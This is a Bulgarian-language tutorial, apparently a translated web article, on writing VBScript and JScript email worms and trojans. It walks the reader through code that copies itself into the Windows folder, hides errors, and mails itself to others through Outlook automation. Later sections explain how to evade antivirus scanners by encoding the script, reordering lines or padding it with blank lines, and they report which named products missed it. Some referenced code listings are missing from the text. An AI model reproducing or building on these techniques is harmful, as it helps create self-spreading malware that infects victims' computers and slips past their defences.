Как се пише мейлVBScript червей, VB скрипт, статии, програмиране - C програмиране,
Сега малко за самия WSH. Необходимостта от създаване на нов команден език възникна по време на прехода към платформата Win9x и NT, тъй като старите .bat файлове вече не можеха да осигурят необходимата гъвкавост при автоматизиране на процесите на настройка на операционната среда. Беше създаден независим от езика хост скрипт, който позволи изграждането на аналози на .bat файлове във VBScript, JScript и други скриптови езици, като Active Perl или Python.
Време е да преминем директно към описанието на програмния код. За да напишем примери, ще използваме Visual Basic Scripting Edition, което се използва за писане на огромното мнозинство интернет червеи. Нека започнем с инструкциите Option Explicit и On Error Resume Next, първата е необходима при отстраняване на грешки в кода, тя забранява използването на преди това недекларирана променлива, а втората потиска манипулатора на грешки.
Опция Explicit Dim FileSysObject, File Set FileSysObject = CreateObject ("Scripting.FileSystemObject") Set File = FileSysObject.GetFile(WScript.ScriptFullName)
Този пример използва променливите FileSysObject и File и ако направите грешка при писане на FileSysObiect, докато пишете скрипта, интерпретаторът ще ви каже, че се използва недекларирана променлива в оператора Dim. Такива грешки са много трудни за намиране, тъй като те често променят цялата логика на програмата. Нека да преминем към инструкцията On Error Resume Next, тази инструкция означава, че всяка възникнала грешка ще бъде обработена от програмния код по-късно, а в нашия случай никога. Това ви позволява да деактивирате издаването на съобщения за системна грешка и да маскирате скрипта.
Сега нека опишем третия и четвъртия ред на примера: Set FileSysObject = CreateObject ("Scripting.FileSystemObject")
Присвояване на променливаFileSysObject е препратка към WSH File System Object COM компонент обект. Използвайки метода GetFile, задайте на променливата File препратка към командния ред на местоположението на изпълнимия файл. Копирайте скрипта в c:\windows за по-нататъшна употреба. File.Copy ("c:\windows\I_am_virus.vbs")
Задайте променливата WshShell на препратка към WSH COM компонентен обект, който ви позволява да променяте системните настройки и да стартирате приложения. Dim WshShell Set WshShell = WScript.CreateObject("WScript.Shell")
Следващата стъпка зависи от вашето въображение, можете да копирате по-сложен вирус от интернет, както направи I-Worm.LoveLetter, и да го стартирате, да ви изпрати файл с пароли или просто и скучно да повредите куп файлове.
И накрая, стигаме до „сърцето“ на всеки интернет червей, процедурата за разпространение. Създайте препратка към обекта на най-често срещания имейл клиент на Outlook. Dim OutlookObject, OutMail, Index Set OutlookObject = CreateObject("Outlook.Application")
Създайте ново имейл съобщение Set OutMail = OutlookObject.CreateItem(0)
В полето "Тема" въведете темата на съобщението OutMail.Subject = "Тема на съобщението"
Добавете текст на съобщението OutMail.Body = "Тяло на съобщението" Прикачете скрипт OutMail.Attachments.Add(WScript.ScriptFullName)
И го изпратете OutMail.Send Next
Така станахте писател на вируси. Чувствате ли се приповдигнати? Слезте на земята, това е само рамка, запълнете я, вашата задача. Късмет!
Рамката на "Троянския кон":
Част 2 - Проучване на нови възможности
Когато изучавах документацията за Windows Scripting Host(WSH), забелязах параграф, в който се казва, че Microsoft е създала независим от езика хост скрипт, който позволява изграждането на аналози на .bat файлове във VBScript, JScript и други.скриптови езици като Active Perl или Python. Нищо не беше казано за Active Perl или Python на техния уебсайт, но JScript беше написан доста подробно, сравнявайки възможностите на VBScript и JScript, стана ясно, че те са идентични и се различават само в синтаксиса на езика.
Беше въпрос на техника да се пренапише скрипт от един език за програмиране на друг, резултатът беше:
Рамка на троянски кон
Въпреки това, при изпълнението на скрипта, Script Checker даде съобщение, че този файл може да съдържа вирус и блокира изпълнението му. След още известно ровене разбрах, че отговаря на опит за изпращане на файл по пощата, тъй като редът OutMail.Attachments.Add(WScript.ScriptFullName) изглежда еднакво както във VBScript, така и в JScript. Успяхме да се отървем от това, като кодирахме скрипта с програмата MS Windows Script Encoder.
Скриптът е тестван на трите най-разпространени антивирусни програми Norton AntiVirus, AVP и Dr.Web. Първите два успешно мълчаха и само Dr.Web го филтрира като потенциално опасен, известният евристичен анализатор работи.
Въз основа на направения анализ можем да предположим, че очакваме следващия кръг от епидемии, свързани с писането на вируси в JScript.
Част 3. - Как да измамите AVP Script Checker
Описаният метод за заобикаляне на проверката на AVP Script е доста сложен, тъй като изисква познаване на различни езици за програмиране, но могат да бъдат измислени много по-прости методи.
Почти всички програми за защита от вируси работят на същия принцип, те сравняват файловете с вирусните секции в базата данни, така наречените сигнатури. По подобен алгоритъм работи и AVP Script checker, който след предварителна компилация сканира файла и търси "познати места". Въпреки това, вза разлика от компилаторите на мощни софтуерни продукти, cscript.exe извършва само предварителна компилация, без да редактира изходния код и следователно, като промените леко изходния код на предварително написан вирус, можете лесно да заобиколите защитата.
Нека вземем рамката на VBScript mailworm като основа. Нека започнем с най-простия метод, да променим реда на изпълнение, да добавим интервали и празни редове.
AVP "казва": открита е нова модификация на вируса I-Worm VBS.Fool. Премахнете реда Set File = FileSysObject.GetFile(WScript.ScriptFullName), той е безшумен, което означава, че антивирусът реагира точно на наличието на този ред. Разменете редовете и получете:
Програмата за проверка на AVP скрипт не отговаря.
Можете просто да промените проблемния ред по този начин:
Ефектът е същият, просто трябва да експериментирате. В кода на I-Worm VBS.HappyTime в началото на файла бяха добавени 35 празни реда и това беше достатъчно, за да не го разпознае антивирусната програма.
Има по-сложни методи, като кодиране на тялото на вируса. Основен пример за това беше I-Worm VBS.Homepage, в който основният код беше кодиран, както следва:
В резултат на това доста прост скрипт зарази милиони компютри по света.
Следващата стъпка е да се напише полиморфен във VBS, скрипт, способен да модифицира кода си според нуждите. За недоволство на „истинските автори на вируси“, които смятат, че технологиите за скриптове са забавни за ламерите, броят на вирусите, използващи тази технология, непрекъснато нараства. Това се дължи на лекотата на внедряване и интегриране в операционната система, с помощта на скриптове можете напълно да управлявате системата, да стартирате и спирате процеси, дистанционно да създавате и изтривате потребители, да редактирате файлове и много други.